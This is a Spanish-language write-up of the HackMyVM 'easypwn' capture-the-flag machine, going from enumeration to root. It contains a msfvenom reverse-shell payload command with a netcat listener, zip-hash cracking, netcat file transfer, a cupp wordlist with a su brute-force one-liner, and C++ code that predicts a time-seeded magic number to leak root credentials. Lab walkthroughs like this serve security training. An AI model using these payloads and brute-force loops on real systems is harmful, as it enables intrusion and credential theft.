Easypwn
Resolución de la maquina easypwn de la plataforma hackmyvm..
Primero, uso la herramienta arp-scan para enumerar los hosts activos en la LAN mediante el protocolo ARP y así localizar la IP de la máquina objetivo

como vemos la que termina en 57.3 es la máquina objetivo, en este caso fue sensillo ya que solo hay dos equipos .
Continuamos un escaneo más directo hacia el objetivo para ver que puertos tiene abierto con la herramienta nmap.

-p- : para decir que escanee los 65536 puertos
--open : nos lista solo los puertos abiertos
--min-rate : establecer la tasa mínima de envío de paquetes por segundo , como es un entorno controlado , lo hacemos con un número elevado
-Pn : indicamos que no queremos que realice ping
-n : indicamos que no queremos que realice resoluciones de nombres
y con eso vemos que estan el puerto 22, 80, 6666, ahora con otro escaneo, pero especificamente a esos puertos, para saber que servicios estan corriendo y que informacion podemos obtener. esto lo hacemos con los paremetros -sV y agregamos -sC para que lance un conjunto de scirpts de Nmap Scripting Engine (NSE)

esto nos devulve mucha informacion, veamos que hay corriendo en ese servidor apache

veamos que encontramos si le lanzamos una enumeracion de directorio con la herramienta ffuf y con el listado de directorios de seclist y agregando algunos extensiones

y con exito encontramos un archivo curioso, veamos que contiene

vemos que nos da algunas pistas, vemos que hay en esa direccion, y probamos el puert 6666

decidi guardar esa lista de palabras en un archivo y volvi a escanear la pagina para ver si aparecia algo nuevo...

obtuvimos un archivo zip, pero se encuentra con contraseña , veamos si podemos crackearlo con la herramienta john the ripper y Usamos el famoso diccionario rockyou , primero obtenemos el hash con zip2john:
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oooooo (a.zip/opt/server)
1g 0:00:00:00 DONE (2025-06-09 01:26) 12.50g/s 51200p/s 51200c/s 51200C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ unzip a.zip
Archive: a.zip
[a.zip] opt/server password:
inflating: opt/server
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ ls
a.zip dic.txt hash opt reports servicio.txt
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ cd opt
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn/opt]
└─$ ls
server
vemos que obtenemos un binario, lo analizamos con ghidra y le preguntamos a una ia para ver si nos ayuda a un poco

aparentemente lo que hace ese binario es un servidor que ejecuta shellcodes remotos, pero con un filtro basico de bytes..
Por lo que vamos a tener que generar una carga útil que evite esos bytes prohibidos, enviarlo al puerto 6666 y obtener una shell reversa, para ello vamos a utilizar la herramienta msfvenom
└─$ msfvenom -p linux/x64/shell_reverse_tcp lhost=192.168.57.2 lport=4444 -b '\x00\xf\\x20\x0f\xcd\x0a\x22\x09' -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Saved as: shellcode.bin
-p le indicamos que es un payload para sistemas linux de 64bit , que crea una rev shell tcp
lhost la ip de nuestra maquina
lport el puerto de nuestra maquina
-b lista de bytes prohibidos en formato hexadecimal
-f formato de salida del shellcode, en este caso tipo raw, osea un binario encrudo , para enviar directamente al servidor
-o le indicamos el nombre de un archivo de salida para que se genere
una ves generado el payload, nos ponemos a la escucha con nc , para luego mandar el payload al server y ...

Obtenemos una Shell en la máquina remota.
Indagamos un poco y vemos que hay un archivo que nos da una pista sobre un binario llamado getroot, por lo que lo vamos a pasar a la máquina local y lo analizaremos con ghidra a ver que pasa
└─$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.57.2] from (UNKNOWN) [192.168.57.3] 57692
ls
getroot
this_is_a_tips.txt
use3e3e3e3e3sr.txt
cat this_is_a_tips.txt
There is a fun tool called cupp.
I heard it's a good social engineering dictionary generator.
Are there really people that stupid these days? haha.
There is only one way to become ROOT, which is to execute getroot!!!
And don't forget, this is a PWN type machine.
有一个很好玩的工具叫做 cupp.
听说那是一个不错的社会工程学字典生成器.
现在真的还会有人这么蠢吗?haha.
成为 ROOT 的方法只有一条,就是执行 getroot !!!
而且你不要忘记了,这是一个pwn类型的机器.
whereis getroot
getroot: /usr/local/bin/getroot
nc -lvnp 1234 < /usr/local/bin/getroot
listening on [any] 1234 ...
connect to [192.168.57.3] from (UNKNOWN) [192.168.57.2] 45608

lo que nos dice nuestro amigo deepseek:
Este programa parece ser un "mini desafío de autenticación" que verifica un número mágico (magic_number) pasado como argumento. Si el número es correcto, lee y muestra el contenido de un archivo (/root/cred)
despues de estar un rato viendo como poder implementar eso ,buscando ayuda en internet y revisando el sistema de archivo, encontre...

según ese texto y la mención de la herramienta cupp para la generación de diccionarios, vamos a utilizar esos nombre para ver que sucede
└─$ cupp -i
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence '\ '
print(" \ # User")
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence '\ '
print(" \ \033[1;31m,,\033[1;m # Passwords")
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence '\ '
print(" \ \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m # Profiler")
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence '\ '
print(" \033[1;31m() )\ \033[1;m ")
cupp.py! # Common
\ # User
\ ,, # Passwords
\ (oo)____ # Profiler
() )\
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
First Name: david
Surname:
Nickname:
Birthdate (DDMMYYYY):
Partners) name:
Partners) nickname:
Partners) birthdate (DDMMYYYY):
Child's name: jake
Child's nickname:
Child's birthdate (DDMMYYYY):
Pet's name:
Company name:
Do you want to add some key words about the victim? Y/[N]: y
Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed:
Do you want to add special chars at the end of words? Y/[N]:
Do you want to add some random numbers at the end of words? Y/[N]:
Leet mode? (i.e. leet = 1337) Y/[N]:
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to david.txt, counting 212 words.
[+] Now load your pistolero with david.txt and shoot! Good luck!
ahora con el diccionario en mano, lo pasamos a la máquina remota y hacemos un ataque de fuerza bruta para ver si la contraseña se encuentra en dicho diccionario..
usamos este comando 'one-liner', recorremos el diccionario con un bucle for, ejecutamos en una subshell con una limitación de cada 0.1 segundos para cada intento, con echo le mandamos la contraseña como entrada estandar al comando su a travez del pipe, suprimimos la salida redireccionando tanto el stdout y stderr al archivo especial /dev/null, corroboramos si obtuvimos exitos con un if, que si su código de ejecución anterior fue exitoso (0) se muestra por pantalla la pass y se sale con el break.
for pass in $(cat dic.txt); do timeout 0.1 bash -c "echo '$pass' | su lamb " &>/dev/null; if [ $? -eq 0 ]; then echo "la pass es $pass";break; fi; done
y obtenemos que la pass correcta es ekaJ_2016
Verificamos y si ponemos correr algun comando como sudo
lamb@pwnding:~$ sudo -l
[sudo] password for lamb:
Matching Defaults entries for lamb on pwnding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lamb may run the following commands on pwnding:
(ALL : ALL) PASSWD: /usr/local/bin/getroot
Obtenemos ese binario que al parecer pide cierto número mágico
lamb@pwnding:~$ getroot
Usage: getroot <magic_number>
Lo analizamos con ghidra y vemos si chatgpt nos da una mano

obtenemos obtenemos el siguiente codigo que tiene este flujo
-
Inicialización aleatoria:
srand(time(0))asegura que cada ejecución genere números diferentes.
-
Genera
v21:- Un entero entre 0 y 86399 (equivale a segundos en 24 horas).
-
Genera un valor con distribución normal:
- Usa la función
generate_normal_distribution().
- Usa la función
-
Calcula
temp:-
Multiplica el valor normal por 5, lo convierte a entero y le suma
v21. -
Ejemplo: Si
normal_value = 1.2→5*1.2 = 6→6 + v21.
-
-
Ajusta los límites de
temp:max(0, min(temp, 86399))garantiza quetempesté entre 0 y 86399.
-
Calcula la clave final:
key = temp + 12345(offset fijo).
-
Imprime la clave:
- Ejemplo de salida:
98567.
- Ejemplo de salida:
#include <iostream>
#include <cmath>
#include <ctime>
#include <cstdlib>
#include <algorithm>
using namespace std;
double generate_normal_distribution() {
double x = rand() / 2147483647.0;
double v3 = rand() / 2147483647.0;
double v0 = log(x);
double v2 = sqrt(-2.0 * v0);
return cos(6.283185307179586 * v3) * v2;
}
int main() {
srand(time(0));
int v21 = rand() % 86400;
double normal_value = generate_normal_distribution();
int temp = static_cast<int>(5.0 * normal_value) + v21;
temp = max(0, min(temp, 86399));
int key = temp + 12345;
cout << key << endl;
return 0;
}
lo compilamos y probamos
lamb@pwnding:~$ g++ -o num num.c -B /usr/bin/
lamb@pwnding:~$ /usr/local/bin/getroot
Usage: /usr/local/bin/getroot <magic_number>
lamb@pwnding:~$ /usr/local/bin/getroot $(./num)
lamb@pwnding:~$ sudo /usr/local/bin/getroot $(./num)
$1$BvrTqWyB$Soa7qkeu1GfIoy2duf53t0
y con eso obtenemos las clave para iniciar sesion como root
lamb@pwnding:~$ su
Password:
root@pwnding:/home/lamb# cd
root@pwnding:~# ls
cred monitor.sh ro0oo0ooo0oooo0oooo0ooo0oo0ot.txt
root@pwnding:~# whoami
root
root@pwnding:~# id
uid=0(root) gid=0(root) groups=0(root)
:LiActivity: :LiAirplay:
